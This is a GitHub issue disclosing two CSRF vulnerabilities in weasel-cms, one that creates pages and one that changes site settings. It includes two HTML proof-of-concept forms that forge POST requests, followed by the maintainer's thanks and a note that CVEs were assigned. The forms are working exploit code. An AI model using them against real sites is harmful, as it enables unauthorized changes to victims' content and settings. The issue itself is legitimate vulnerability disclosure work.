Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

There are two CSRF vulnerabilities that can create new pages or update the website settings #6

Closed
SkyZh47 opened this issue Aug 3, 2018 · 2 comments

Comments

@SkyZh47
Copy link

SkyZh47 commented Aug 3, 2018

  1. There is a CSRF vulnerability that can create new pages via index.php?b=pages&a=new
  • poc:

one.html---create a new page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="page&#45;action" value="create" />
      <input type="hidden" name="page&#45;title" value="newpage" />
      <input type="hidden" name="page&#45;content" value="newpagenewpagenewpage" />
      <input type="hidden" name="page&#45;date" value="2018&#45;08&#45;03" />
      <input type="hidden" name="page&#45;time" value="11&#58;54" />
      <input type="hidden" name="page&#45;slug" value="newpage" />
      <input type="hidden" name="page&#45;tags" value="newpage" />
      <input type="hidden" name="page&#45;description" value="newpage" />
      <input type="hidden" name="page&#45;active" value="on" />
      <input type="hidden" name="page&#45;submit" value="Create&#32;New&#32;Page" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2.There is a CSRF vulnerability that can update the website settings via index.php

  • poc:

two.html---update the website settings

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/weasel-cms/index.php" method="POST">
      <input type="hidden" name="site&#45;language" value="en" />
      <input type="hidden" name="site&#45;title" value="newsettings" />
      <input type="hidden" name="site&#45;description" value="newsettings" />
      <input type="hidden" name="site&#45;keywords" value="newsettings" />
      <input type="hidden" name="site&#45;theme" value="weasel-dark" />
      <input type="hidden" name="settings&#45;submit" value="Save&#32;Settings" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
@alterebro
Copy link
Owner

Good catch @SkyZhang47 ! thanks for reporting this again

@fgeek
Copy link

fgeek commented Aug 9, 2018

CVE-2018-14958 and CVE-2018-14959 has been assigned for this.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants